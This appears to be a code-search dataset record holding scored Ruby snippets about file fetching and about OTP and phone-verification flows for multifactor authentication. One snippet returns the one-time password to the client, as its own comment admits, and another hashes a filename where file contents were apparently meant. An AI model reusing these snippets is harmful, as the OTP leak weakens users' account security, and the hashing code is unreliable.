"text": "def files_scheduled_for_add\n Dir[temp_plugin_name+\"/**/*\"].collect {|fn| fn.gsub(temp_plugin_name, '.')} -\n Dir[plugin.name+\"/**/*\"].collect{|fn| fn.gsub(plugin.name, '.')}\n end", "title": "" }, { "docid": "f5328b1fa190ebf1ac2aa9c0a7953fef", "score": "0.55780095", "text": "def package!\n fetch!\n get_files!\n save_files!\n end", "title": "" }, { "docid": "609965acf74c6496b2291652cfe68597", "score": "0.5573389", "text": "def fetchfiles(params={})\n raise \"ERROR: Either :dir or :file must be supplied to fetchfiles method.\" unless params[:file] || params[:dir]\n\n localfilenames = []\n if params[:testdata_url]\n raise \":dir not handled for URL #{params[:testdata_url]}\" if params[:dir]\n\n source_url = URI(\"#{params[:testdata_url]}/#{params[:file]}\")\n destination_dir = params[:destination_dir] ? params[:destination_dir] : @testcase.dirs.downloaddir\n localfilename = params[:destination_file] ? params[:destination_file] : File.join(destination_dir, File.basename(params[:file]))\n\n RemoteFileUtils.download(source_url, localfilename)\n\n testcase_output(\"Downloaded #{source_url} to #{localfilename} on host #{`hostname`}\")\n localfilenames << localfilename\n else\n raise \":dir and :destination_file can not both be specified\" if params[:dir] && params[:destination_file]\n\n destination_dir = params[:destination_dir] ? params[:destination_dir] : @testcase.dirs.drbfiledir\n destination_dir = params[:destination_file] ? File.dirname(params[:destination_file]) : destination_dir\n FileUtils.mkdir_p(destination_dir)\n\n filereader = @testcase.create_filereader\n if params[:dir]\n filenames = Dir.glob(params[:dir]+\"/*\")\n elsif params[:file]\n filenames = [params[:file]]\n end\n filenames.each do |filename|\n localfilename = params[:destination_file] ? params[:destination_file] : File.join(destination_dir, File.basename(filename))\n unless File.exist?(localfilename) && File.size?(localfilename) == filereader.size?(filename) &&\n File.mtime(localfilename) == filereader.mtime(filename) &&\n Digest::MD5.digest(localfilename) == filereader.md5(filename)\n File.open(localfilename, \"w\") do |fp|\n filereader.fetch(filename) do |buf|\n fp.write(buf)\n end\n end\n File.utime(Time.now, filereader.mtime(filename), localfilename)\n end\n localfilenames << localfilename\n end\n end\n localfilenames\n end", "title": "" }, { "docid": "70d0094d6d4743f3e2666c58d72c28fd", "score": "0.5572881", "text": "def retrieve_from_local\n execute \"copy artifact from #{new_resource.artifact_location} to #{cached_tar_path}\" do\n command Chef::Artifact.copy_command_for(new_resource.artifact_location, cached_tar_path)\n user new_resource.owner\n group new_resource.group\n only_if { !::File.exists?(cached_tar_path) || !FileUtils.compare_file(new_resource.artifact_location, cached_tar_path) }\n end\n end", "title": "" }, { "docid": "c24b434c818b2ac88bffbe89ea998c5e", "score": "0.5572474", "text": "def copy_html_files\n Dir.entries(app_config.html_dir).each { |entry|\n if entry != 'index.rb' and entry != 'index.html.erb' and entry != '.' and entry != '..'\n FileUtils.mkdir_p release_target + '/' + File.dirname(entry)\n FileUtils.cp_r \"#{app_config.html_dir}/#{entry}\", \"#{release_target}/#{entry}\"\n end\n }\n end", "title": "" }, { "docid": "b3cf0decb739c738055afbc25641de8b", "score": "0.55668074", "text": "def copy_files\n setup_files = Rake::FileList.new(\"*.{desktop,session}\")\n setup_files.each {|file| mv file, DEST, :verbose => true}\nend", "title": "" }, { "docid": "8be4d4cabf120483a4b177f6dde1fab1", "score": "0.55652636", "text": "def transfer!\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n dest = File.join(remote_path, filename)\n Logger.info \"Storing '#{ dest }'...\"\n\n parent_id = find_id_from_path(remote_path)\n gdrive_upload(src, parent_id)\n end\n end", "title": "" }, { "docid": "04713f27a2aea14ba5b6758202169f01", "score": "0.55647326", "text": "def copy_files\n Tsuki::Resource_Checker.show_message(\"Begin file copying\")\n t1 = Time.now\n # check RTP folder exists\n unless rtp_directory_valid? \n Tsuki::Resource_Checker.show_message(\"Your RTP directory is invalid or inaccessible\")\n return\n end\n # basic folders\n Dir.mkdir(\"Graphics\") unless File.directory?(\"Graphics\")\n Dir.mkdir(\"Audio\") unless File.directory?(\"Audio\")\n Dir.mkdir(\"Fonts\") unless File.directory?(\"Fonts\")\n Dir.mkdir(\"Movies\") unless File.directory?(\"Movies\")\n Dir.mkdir(\"System\") unless File.directory?(\"System\")\n \n @data.each {|category, list|\n make_category_folder(category)\n list.each { |name|\n path = make_path(category, name)\n make_file(path)\n }\n }\n t2 = Time.now\n Tsuki::Resource_Checker.show_message(\"File copy complete in %f seconds.\" %(t2 - t1))\n end", "title": "" }, { "docid": "d803df19be2cf72c502e2a409b972d59", "score": "0.5549798", "text": "def files(new_path=nil)\n if new_path\n OperaWatir::Waiter.files = new_path\n else\n OperaWatir::Waiter.files\n end\n end", "title": "" } ]
ca4a224ecf11b1f72ce291c7b56d1e8a
This API is used to update the Multifactor authentication phone number by sending the verification OTP to the provided phone number
[ { "docid": "9e99cae7b6ae13bb21a52ddf2bb60d44", "score": "0.65643317", "text": "def mfa_update_phone_number_by_token(access_token, phone_no2_f_a, sms_template2_f_a = '')\n if isNullOrWhiteSpace(access_token)\n raise LoginRadius::Error.new, getValidationMessage('access_token')\n end\n if isNullOrWhiteSpace(phone_no2_f_a)\n raise LoginRadius::Error.new, getValidationMessage('phone_no2_f_a')\n end\n\n query_parameters = {}\n query_parameters['access_token'] = access_token\n query_parameters['apiKey'] = @api_key\n unless isNullOrWhiteSpace(sms_template2_f_a)\n query_parameters['smsTemplate2FA'] = sms_template2_f_a\n end\n\n body_parameters = {}\n body_parameters['phoneNo2FA'] = phone_no2_f_a\n\n resource_path = 'identity/v2/auth/account/2fa'\n put_request(resource_path, query_parameters, body_parameters)\n end", "title": "" } ]
[ { "docid": "a872257e70bd6604e71ceb2063e09690", "score": "0.77586526", "text": "def phone_resend_verification_otp(phone, sms_template = '')\n if isNullOrWhiteSpace(phone)\n raise LoginRadius::Error.new, getValidationMessage('phone')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n unless isNullOrWhiteSpace(sms_template)\n query_parameters['smsTemplate'] = sms_template\n end\n\n body_parameters = {}\n body_parameters['phone'] = phone\n\n resource_path = 'identity/v2/auth/phone/otp'\n post_request(resource_path, query_parameters, body_parameters)\n end", "title": "" }, { "docid": "941232cac9b2d9ec5fb36717c458a462", "score": "0.77222395", "text": "def verify_phone_number\n self.set(phone_number_verified: false)\n set_otp_code\n\n sms_msg = \"Hey #{self.name}, #{self.otp_code.to_i} is the OTP to validate your phone number.\".freeze\n ::TxtLocal::TransactionalService.new.send_sms!(sms_msg, self.phone_number)\n end", "title": "" }, { "docid": "85daf4d90c5af201a23cb2f37fc4396a", "score": "0.76247305", "text": "def update\n unless params[:phone].present? && params[:otp]\n return render json: {error: 'Phone number is required'}, status: 422\n end\n user = User.find_by_phone params[:phone]\n if user.authenticate_otp(params[:otp], drift: 120)\n render json: {message: 'OTP Verified', auth_token: user.auth_token}\n else\n render json: {error: 'Invalid OTP'}, status: 422\n end\n end", "title": "" }, { "docid": "a7c5e55a9cc41ba135bc3d686ffde140", "score": "0.7542315", "text": "def update\n if current_user.authenticate_direct_otp_for(:unconfirmed_phone_number_otp, params[:code])\n current_user.phone_number = current_user.unconfirmed_phone_number\n current_user.unconfirmed_phone_number = nil\n current_user.save!\n\n flash[:notice] = 'You have successfully verified and saved your phone number'\n\n if current_user.account_verified\n redirect_to root_path and return\n end\n\n redirect_to continue_setup_users_two_factor_setup_path\n else\n # TODO: limit opportunities to re-try\n flash[:alert] = \"Sorry, your code didn't work. Please try again.\"\n render :confirm and return\n end\n end", "title": "" }, { "docid": "4df9059e81ca9452e4ceacbcda38f4a6", "score": "0.746198", "text": "def forgot_password_with_phone_number\n update(reset_password_token: rand(10 ** 8))\n msg = \"Your OTP is: #{reset_password_token}\"\n @twilio_client = Twilio::REST::Client.new(ENV['TWILIO_ACCOUNT_SID'], ENV['TWILIO_AUTH_TOKEN'])\n begin\n @twilio_client.messages.create(to:\"#{cell_phone}\", from: ENV['TWILIO_PHONE_NUMBER'], body: msg)\n rescue Exception => e\n puts e.message\n end\n end", "title": "" }, { "docid": "4df9059e81ca9452e4ceacbcda38f4a6", "score": "0.746198", "text": "def forgot_password_with_phone_number\n update(reset_password_token: rand(10 ** 8))\n msg = \"Your OTP is: #{reset_password_token}\"\n @twilio_client = Twilio::REST::Client.new(ENV['TWILIO_ACCOUNT_SID'], ENV['TWILIO_AUTH_TOKEN'])\n begin\n @twilio_client.messages.create(to:\"#{cell_phone}\", from: ENV['TWILIO_PHONE_NUMBER'], body: msg)\n rescue Exception => e\n puts e.message\n end\n end", "title": "" }, { "docid": "32e016b55bee3319d67be06b1043ca49", "score": "0.7439127", "text": "def forgot_password_by_phone_otp(phone, sms_template = '')\n if isNullOrWhiteSpace(phone)\n raise LoginRadius::Error.new, getValidationMessage('phone')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n unless isNullOrWhiteSpace(sms_template)\n query_parameters['smsTemplate'] = sms_template\n end\n\n body_parameters = {}\n body_parameters['phone'] = phone\n\n resource_path = 'identity/v2/auth/password/otp'\n post_request(resource_path, query_parameters, body_parameters)\n end", "title": "" }, { "docid": "80b3c07c006d71d1b51f06c4bfc93806", "score": "0.7373062", "text": "def phone_verification_by_otp(otp, phone, fields = '', sms_template = '')\n if isNullOrWhiteSpace(otp)\n raise LoginRadius::Error.new, getValidationMessage('otp')\n end\n if isNullOrWhiteSpace(phone)\n raise LoginRadius::Error.new, getValidationMessage('phone')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['otp'] = otp\n unless isNullOrWhiteSpace(fields)\n query_parameters['fields'] = fields\n end\n unless isNullOrWhiteSpace(sms_template)\n query_parameters['smsTemplate'] = sms_template\n end\n\n body_parameters = {}\n body_parameters['phone'] = phone\n\n resource_path = 'identity/v2/auth/phone/otp'\n put_request(resource_path, query_parameters, body_parameters)\n end", "title": "" }, { "docid": "74791c17905a3b8b604b54dfd5eb37d0", "score": "0.73169124", "text": "def phone_resend_verification_otp_by_token(access_token, phone, sms_template = '')\n if isNullOrWhiteSpace(access_token)\n raise LoginRadius::Error.new, getValidationMessage('access_token')\n end\n if isNullOrWhiteSpace(phone)\n raise LoginRadius::Error.new, getValidationMessage('phone')\n end\n\n query_parameters = {}\n query_parameters['access_token'] = access_token\n query_parameters['apiKey'] = @api_key\n unless isNullOrWhiteSpace(sms_template)\n query_parameters['smsTemplate'] = sms_template\n end\n\n body_parameters = {}\n body_parameters['phone'] = phone\n\n resource_path = 'identity/v2/auth/phone/otp'\n post_request(resource_path, query_parameters, body_parameters)\n end", "title": "" }, { "docid": "f21829e302812e4dae17c4e4aaabbfa0", "score": "0.72742957", "text": "def one_touch_login_otp_verification(otp, phone, fields = '', sms_template = '')\n if isNullOrWhiteSpace(otp)\n raise LoginRadius::Error.new, getValidationMessage('otp')\n end\n if isNullOrWhiteSpace(phone)\n raise LoginRadius::Error.new, getValidationMessage('phone')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['otp'] = otp\n unless isNullOrWhiteSpace(fields)\n query_parameters['fields'] = fields\n end\n unless isNullOrWhiteSpace(sms_template)\n query_parameters['smsTemplate'] = sms_template\n end\n\n body_parameters = {}\n body_parameters['phone'] = phone\n\n resource_path = 'identity/v2/auth/onetouchlogin/phone/verify'\n put_request(resource_path, query_parameters, body_parameters)\n end", "title": "" }, { "docid": "fe9507422d4226ce425fefa47a84f397", "score": "0.7227369", "text": "def update_phone_number(access_token, phone, sms_template = '')\n if isNullOrWhiteSpace(access_token)\n raise LoginRadius::Error.new, getValidationMessage('access_token')\n end\n if isNullOrWhiteSpace(phone)\n raise LoginRadius::Error.new, getValidationMessage('phone')\n end\n\n query_parameters = {}\n query_parameters['access_token'] = access_token\n query_parameters['apiKey'] = @api_key\n unless isNullOrWhiteSpace(sms_template)\n query_parameters['smsTemplate'] = sms_template\n end\n\n body_parameters = {}\n body_parameters['phone'] = phone\n\n resource_path = 'identity/v2/auth/phone'\n put_request(resource_path, query_parameters, body_parameters)\n end", "title": "" }, { "docid": "7401060de608101d316f80f412e6e6f8", "score": "0.71960914", "text": "def update_phone\n if authenticate\n phone = params[:phone]\n \n if phone\n if @user.update_attribute(:phone, phone)\n success_message(\"Successful update.\")\n else\n error_message(\"User phone unable to be updated\")\n end\n else\n error_message(\"No phone param found\")\n end\n else\n error_message(@message)\n end\n end", "title": "" }, { "docid": "e4bd4d5bdd5b90a083ec51edc70d0179", "score": "0.71318907", "text": "def send_otp\n update_attribute(:otp_secret_key, ROTP::Base32.random_base32)\n send_sms mobile_number: mobile_number, message: message\n end", "title": "" }, { "docid": "e371fe8dbd9fcb6286c21df98c011cfe", "score": "0.7102804", "text": "def sendotp\n otp = Faker::Number.number(digits: 4)\n @user = User.find_by(mobile: params[:mobile])\n @user.update_attribute(:one_time_password, otp)\n @user.update_attribute(:otp_expires_at, Time.now+10.hours)\n \n\n ##This should not be done, this otp should be sent to mobile number via thrid-party server and not to front end\n render json: @user.as_json(only: [:one_time_password]), status: :ok\n end", "title": "" }, { "docid": "cda360d5b103e38581f5d2a1e1d99875", "score": "0.6978269", "text": "def reset_password_by_phone_otp(reset_password_by_otp_model)\n if reset_password_by_otp_model.blank?\n raise LoginRadius::Error.new, getValidationMessage('reset_password_by_otp_model')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n\n resource_path = 'identity/v2/auth/password/otp'\n put_request(resource_path, query_parameters, reset_password_by_otp_model)\n end", "title": "" }, { "docid": "ebffe604039e55f411911cb335214163", "score": "0.69003093", "text": "def otp\n render_invalid(\"Invalid phone number\") and return if params[:phone].blank?\n phone = params[:phone]\n send_otp(phone)\n render json: { message: \"OTP Sent to #{phone}\" }\n end", "title": "" }, { "docid": "a25da1c0e3cb28f8014d4f84e9d26b44", "score": "0.68772846", "text": "def create_phone_verification()\n path = '/account/verification/phone'\n\n params = {\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'POST',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::Token\n )\n end", "title": "" }, { "docid": "3953275128d01cd0e60d2af073c13415", "score": "0.6851711", "text": "def resend_otp(member)\n begin\n # Find number\n our_number = build.sender_number\n client_number = member.phone_books.desc(:created_at).first.try(:msisdn)\n raise if client_number.blank?\n # Find otp\n otp = member.otp\n member.update_attribute('otp_sent_at', Time.zone.now)\n\n # Start send message\n message = \"Your authentication code is #{otp} for your request. Valid for 10 mins.\"\n\n ZenzivaWorker.perform_async(perform: :send_sms, to: client_number, text: message)\n return true\n rescue\n return {}\n end\n end", "title": "" }, { "docid": "2ed8bb669974939a09c59989046c6eee", "score": "0.68504673", "text": "def send_forgot_pin_sms_by_phone(forgot_pin_otp_by_phone_model, sms_template = '')\n if forgot_pin_otp_by_phone_model.blank?\n raise LoginRadius::Error.new, getValidationMessage('forgot_pin_otp_by_phone_model')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n unless isNullOrWhiteSpace(sms_template)\n query_parameters['smsTemplate'] = sms_template\n end\n\n resource_path = 'identity/v2/auth/pin/forgot/otp'\n post_request(resource_path, query_parameters, forgot_pin_otp_by_phone_model)\n end", "title": "" }, { "docid": "29915db016a1b0a204fcb1448cf30cd6", "score": "0.6757257", "text": "def create\n unless params[:phone_number].nil?\n current_user.unconfirmed_phone_number = params[:phone_number]\n\n if current_user.save\n current_user.send_new_direct_otp_for(:unconfirmed_phone_number)\n redirect_to confirm_users_two_factor_setup_sms_path and return\n end\n end\n\n flash[:alert] = \"Your phone number didn't look right. Please try again.\"\n render :new\n end", "title": "" }, { "docid": "92eed4299f64abff20444847d9040f93", "score": "0.6755349", "text": "def mfa_update_phone_number(phone_no2_f_a, second_factor_authentication_token, sms_template2_f_a = '')\n if isNullOrWhiteSpace(phone_no2_f_a)\n raise LoginRadius::Error.new, getValidationMessage('phone_no2_f_a')\n end\n if isNullOrWhiteSpace(second_factor_authentication_token)\n raise LoginRadius::Error.new, getValidationMessage('second_factor_authentication_token')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['secondFactorAuthenticationToken'] = second_factor_authentication_token\n unless isNullOrWhiteSpace(sms_template2_f_a)\n query_parameters['smsTemplate2FA'] = sms_template2_f_a\n end\n\n body_parameters = {}\n body_parameters['phoneNo2FA'] = phone_no2_f_a\n\n resource_path = 'identity/v2/auth/login/2fa'\n put_request(resource_path, query_parameters, body_parameters)\n end", "title": "" }, { "docid": "92eed4299f64abff20444847d9040f93", "score": "0.67550766", "text": "def mfa_update_phone_number(phone_no2_f_a, second_factor_authentication_token, sms_template2_f_a = '')\n if isNullOrWhiteSpace(phone_no2_f_a)\n raise LoginRadius::Error.new, getValidationMessage('phone_no2_f_a')\n end\n if isNullOrWhiteSpace(second_factor_authentication_token)\n raise LoginRadius::Error.new, getValidationMessage('second_factor_authentication_token')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['secondFactorAuthenticationToken'] = second_factor_authentication_token\n unless isNullOrWhiteSpace(sms_template2_f_a)\n query_parameters['smsTemplate2FA'] = sms_template2_f_a\n end\n\n body_parameters = {}\n body_parameters['phoneNo2FA'] = phone_no2_f_a\n\n resource_path = 'identity/v2/auth/login/2fa'\n put_request(resource_path, query_parameters, body_parameters)\n end", "title": "" }, { "docid": "5cbf3689ad08a9b2388c5357b3a23705", "score": "0.6708623", "text": "def exchange_sms_otp_for_tokens(phone_number, otp, audience: nil, scope: nil)\n request_params = {\n grant_type: GRANT_TYPE_PASSWORDLESS_OPT,\n client_id: @client_id,\n username: phone_number,\n otp: otp,\n realm: 'sms',\n audience: audience,\n scope: scope || 'openid profile email'\n }\n\n populate_client_assertion_or_secret(request_params)\n\n ::Auth0::AccessToken.from_response request_with_retry(:post, '/oauth/token', request_params)\n end", "title": "" }, { "docid": "8c04b27edcf489256f2d50d2232f1fcc", "score": "0.67041445", "text": "def verify_otp\n if params[:otp]\n sms_otp = SmsOtp.where(user_id: get_logged_in_user_id, otp: params[:otp]).first\n if sms_otp\n # get the user and update the details\n user = User.find(get_logged_in_user_id)\n user.aadhar_verified = true\n user.phone_no_verified = true\n sms_otp.delete\n user.aadhar_number = sms_otp.aadhar_number\n if user.save\n render json: {status: \"success\", message: \"otp verified\"} and return\n else\n error_message = user.errors.full_messages\n end\n else\n # Reduce an attempt_left or delete if only 1 attempt was left\n sms_otp = SmsOtp.where(user_id: get_logged_in_user_id).first\n if sms_otp\n if sms_otp.attempts_left == 1\n sms_otp.delete\n else\n sms_otp.attempts_left = sms_otp.attempts_left - 1\n sms_otp.save\n end\n end\n error_message = \"Invalid OTP you can try 3 times only!\"\n end\n else\n error_message = \"Params Missing\"\n end\n render json: {status: \"error\", error_message: error_message}\n end", "title": "" }, { "docid": "e61d49f571922d3650fea3843c7034b7", "score": "0.66610754", "text": "def update_phone(phone:, password:)\n path = '/account/phone'\n\n if phone.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"phone\"')\n end\n\n if password.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"password\"')\n end\n\n params = {\n phone: phone,\n password: password,\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'PATCH',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::User\n )\n end", "title": "" }, { "docid": "7278f00209d44a56546adc4624bf813d", "score": "0.6642836", "text": "def phone_verification_otp_by_access_token(access_token, otp, sms_template = '')\n if isNullOrWhiteSpace(access_token)\n raise LoginRadius::Error.new, getValidationMessage('access_token')\n end\n if isNullOrWhiteSpace(otp)\n raise LoginRadius::Error.new, getValidationMessage('otp')\n end\n\n query_parameters = {}\n query_parameters['access_token'] = access_token\n query_parameters['apiKey'] = @api_key\n query_parameters['otp'] = otp\n unless isNullOrWhiteSpace(sms_template)\n query_parameters['smsTemplate'] = sms_template\n end\n\n resource_path = 'identity/v2/auth/phone/otp'\n put_request(resource_path, query_parameters, nil)\n end", "title": "" }, { "docid": "7be42804eeb669a9675bb2120e0118f6", "score": "0.6642177", "text": "def update\n respond_to do |format|\n if @phone_number.update(phone_number_params)\n @phone_number.update_attribute(:verified, false)\n Message.send_confirmation(@phone_number.number, current_user.email)\n format.html { redirect_to phone_numbers_url, notice: 'Phone number was successfully updated. ' + \n 'You should receive a verification text shortly.' }\n format.json { render :show, status: :ok, location: @phone_number }\n else\n format.html { render :edit }\n format.json { render json: @phone_number.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b1aaf80682db28de7767da7bbf6c33c0", "score": "0.6635592", "text": "def send_verification_sms\n # TODO generate a verification code!\n # self.verification_code = '1234'\n\n User.twilio_client.account.sms.messages.create(\n :from => '+13155674679',\n :to => \"+#{self.mobile_no}\",\n :body => \"Activation code is 1234!\"\n )\n end", "title": "" }, { "docid": "7feb1d59d88700e8b7242e2447dd83a2", "score": "0.66085935", "text": "def update_phone_verification(user_id:, secret:)\n path = '/account/verification/phone'\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n if secret.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"secret\"')\n end\n\n params = {\n userId: user_id,\n secret: secret,\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'PUT',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::Token\n )\n end", "title": "" }, { "docid": "73730fe341ff0a651a004974389931ce", "score": "0.65937316", "text": "def send_sms_otp\n\t \t##IF THERE IS AN INTENT,THEN WE MUST HAVE A CONFIRMED ACCOUNT.\n\t \t##OTHERWISE WE DONT NEED THAT.\n\t \t##WHY?\n\t \t##because : suppose that we are calling send_sms_otp from the forgot_password / unlocks controller -> then we have to ensure that the account has been verified.\n\t \t##otherwise we cannot send otp's to non-verified phone numbers to do things like reset_passwords / unlock \n\t \t##on the other hand in case there is no intent, like in case of resend_otp -> then we can only check if we have an account with this mobile number or not, no need to check for verification.\n\t \tconditions = @intent.blank? ? {:additional_login_param => @additional_login_param} : {:additional_login_param => @additional_login_param, :additional_login_param_status => 2}\n\t \n\t \tif @additional_login_param.nil?\n\t \t\t@status = 422\n\t \t\tresource = @resource_class.new\n\t \t\tresource.errors.add(:additional_login_param,\"Additional login param not provided\")\n\t \telsif resource = @resource_class.where(conditions).first\n\t \t\t#resource.intent_token = Devise.friendly_token if !@intent.blank?\n\t \t\t#resource.save\n\t \t\tresource.m_client = self.m_client\n\t \t\tresource.set_client_authentication\n\t \t\tresource.send_sms_otp\n\t \telsif resource = @resource_class.new\n\t \t\t@status = 422\n\t \t\tresource.errors.add(:additional_login_param,\"Could not find a resource with that additional login param\")\n\t \tend \n\t \t@auth_user = resource\n\t \trespond_to do |format|\n\t\t\tformat.json {render json: resource.to_json({:otp_verification => true}), status: @status}\n\t\t\tformat.js {render :partial => \"auth/confirmations/new_otp_input.js.erb\", locals: {resource: resource, intent: @intent}}\n\t\t\tformat.html {render 'auth/confirmations/enter_otp.html.erb'}\n\t\tend\n \tend", "title": "" }, { "docid": "3d2a65c6024aa08a5707d6b03f636df8", "score": "0.6570227", "text": "def set_phone_number\n @phone_number = current_user.phone_number\n end", "title": "" }, { "docid": "93f740ef822cad13df5816ffb87bc053", "score": "0.6526933", "text": "def update\n @user_phone_number = UserPhoneNumber.find(params[:id])\n if @user_phone_number.user != current_user && !current_user.admin?\n render json: ['Unable to update phone number'], status: :unauthorized\n elsif @user_phone_number.update(user_phone_number_params)\n head :no_content\n else\n render json: @user_phone_number.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "071de5baa759191c097c0d595a8a3dd7", "score": "0.65268105", "text": "def verify_user\n response = User.send_otp(params[:user][:phone_no])\n body = JSON.parse(response.read_body)\n session[:otp_detail] = body\n session[:mobile_no] = params[:user][:phone_no]\n if response.code == \"200\"\n redirect_to :controller => \"devise/registrations\", :action =>\"verification\", otp_sent: \"true\"\n else\n redirect_to verification_path\n end\n end", "title": "" }, { "docid": "eaa23d587b34161c3966f9ecdf102f47", "score": "0.6526393", "text": "def phone=(new_phone_number)\n @json['user']['content']['phonenumber'] = new_phone_number\n end", "title": "" }, { "docid": "68cee09426160ffbe5be477ace4e5785", "score": "0.6508738", "text": "def perform(code:, phone:, otp_created_at:, locale: nil)\n send_otp(TwilioService::Utils.new, code, phone) if otp_valid?(otp_created_at)\n end", "title": "" }, { "docid": "769a76672c749d5abc93ac91f1ac7645", "score": "0.6492048", "text": "def send_two_factor_authentication_code(code)\n SendTwoFactorAuthenticationCodeForJob.perform_later(\n :phone_number.to_s,\n :direct_otp.to_s,\n self\n )\n end", "title": "" }, { "docid": "4fe602bb151507c3a93527abfb3bf539", "score": "0.64821047", "text": "def send_verification_sms!(number, options = {})\n verify_code = options.fetch(:verify_code, generate_code)\n\n output = api_request(\n :resource => \"/v1/verify/sms\",\n :params => encode_hash(\n :ucid => options.fetch(:ucid, \"TRVF\"),\n :phone_number => number,\n :language => options.fetch(:language, \"en-US\"),\n :verify_code => verify_code,\n :template => options[:template]\n )\n )\n\n { :data => output, :code => verify_code }\n end", "title": "" }, { "docid": "7b2956733abc0e67ea5b4a19bb5301a5", "score": "0.6471598", "text": "def reset_pin_by_phone_and_otp(reset_pin_by_phone_and_otp_model)\n if reset_pin_by_phone_and_otp_model.blank?\n raise LoginRadius::Error.new, getValidationMessage('reset_pin_by_phone_and_otp_model')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n\n resource_path = 'identity/v2/auth/pin/reset/otp/phone'\n put_request(resource_path, query_parameters, reset_pin_by_phone_and_otp_model)\n end", "title": "" }, { "docid": "635ecd57b22ae725d8daab097ddd1e58", "score": "0.6440353", "text": "def create\n @phone_number = PhoneNumber.new(phone_number_params)\n # @phone_number.update_attribute(:verified, false)\n\n respond_to do |format|\n if @phone_number.save\n Message.send_confirmation(@phone_number.number, current_user.email)\n format.html { redirect_to phone_numbers_url, phone_number: @phone_number, notice: 'Phone number was successfully updated.' +\n ' You should receive a verification text shortly.' }\n format.json { render :show, status: :created, location: @phone_number }\n else\n format.html { render :new }\n format.json { render json: @phone_number.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ac10c9fe0616875d4357d63bef11f001", "score": "0.6421562", "text": "def send_code\n self.verify_code = rand(1000..9999)\n\n begin\n BolaTwillio.new.msg(\"+#{phone_prefix}#{phone_number}\", \"Your code: #{verify_code}\")\n rescue Exception => e\n errors.add :base, :verified_failed\n end\n end", "title": "" }, { "docid": "85db8b7513e3454a8f1e3fc7236fcb62", "score": "0.64185333", "text": "def passwordless_login_phone_verification(password_less_login_otp_model, fields = '', sms_template = '')\n if password_less_login_otp_model.blank?\n raise LoginRadius::Error.new, getValidationMessage('password_less_login_otp_model')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n unless isNullOrWhiteSpace(fields)\n query_parameters['fields'] = fields\n end\n unless isNullOrWhiteSpace(sms_template)\n query_parameters['smsTemplate'] = sms_template\n end\n\n resource_path = 'identity/v2/auth/login/passwordlesslogin/otp/verify'\n put_request(resource_path, query_parameters, password_less_login_otp_model)\n end", "title": "" }, { "docid": "7128d59dad890b29d4ade57f4b79b0e6", "score": "0.6416505", "text": "def verify_number\n\t\tbegin\n\t\t\tpin=@user.generate_pin\n\t\t\ttwillio = Twilio::REST::Client.new\n\t\t\t# create message\n\t\t\tres=twillio.messages.create(\n\t\t\t from: ENV['twillio_phone_number'],\n\t\t\t to: @user.mobile,\n\t\t\t body: \"Verify your BalanceBueau mobile. Your pin is #{pin}\"\n\t\t\t)\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json{render json: {message: 'Pin sent successfully'}}\t\n\t\t\tend\t\n\t\trescue Twilio::REST::RequestError => e\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json{render json: {error: e}}\t\n\t\t\tend\n\t\tend\n\t\t\n\t\t\n\tend", "title": "" }, { "docid": "9a53b3a310fb924e87d836a800d13886", "score": "0.63825893", "text": "def resendCode\n user = User.where(phone_number: params[:phone_number]).first\n\n code = rand(1000..9999)\n\n unless user\n render json: { message: \" کاربر با شماره تلفن مورد نظر وجود ندارد \" } , status: 404\n return\n end\n\n user.verification_code = code\n user.verification_code_sent_at = Time.now\n\n if user.save\n text = \" #{ user.first_name } #{ user.family_name } عزیز \\nکد ورود مجدد شما به سامانه سیت و میت #{ user.verification_code } است \\nسامانه سیت و میت \"\n\n send_sms(user.phone_number , text)\n\n render json: { message: \" کد فرستاده شد \" } , status: 200\n\n else\n render json: { message: user.errors.full_messages } , status: :unprocessable_entity\n end\n\n end", "title": "" }, { "docid": "8210acb93e9aea3830df690ff8745ca6", "score": "0.63823944", "text": "def set_phone_number_field(phone_number)\n end", "title": "" }, { "docid": "42ea1c913af78d300ce60c2d4cb5da4a", "score": "0.6361239", "text": "def update\n p \"in verify_code route\"\n p params\n user_entered_code = params[:code]\n p set_user\n if user_entered_code == @user.verification_code\n set_phone_verified\n render :json => { phone_verified: true, welcome: \"Welcome to Hummingbird!\"}\n else\n render :json => {error: \"Your verification code is incorrect. Please request another.\"}\n end\n end", "title": "" }, { "docid": "fcd81cb8387236df67b3edc6a06b4d20", "score": "0.63596994", "text": "def send_verification_pin\n twillio = TwilioService.new\n self.pin = twillio.generate_pin\n self.verifying = true\n self.verified = false\n\t\tputs \"PIN NUMBER: #{self.pin}\"\n\t\ttwillio.send_pin( self.number, self.pin )\n end", "title": "" }, { "docid": "7860b7dcfe3d0d149ed6eeee2a9098ba", "score": "0.63522667", "text": "def idv_phone_otp_submitted(success:, phone_number:, failure_reason: nil)\n track_event(\n :idv_phone_otp_submitted,\n success: success,\n phone_number: phone_number,\n failure_reason: failure_reason,\n )\n end", "title": "" }, { "docid": "80a744bf6577a4c020de5b4d0a5018f9", 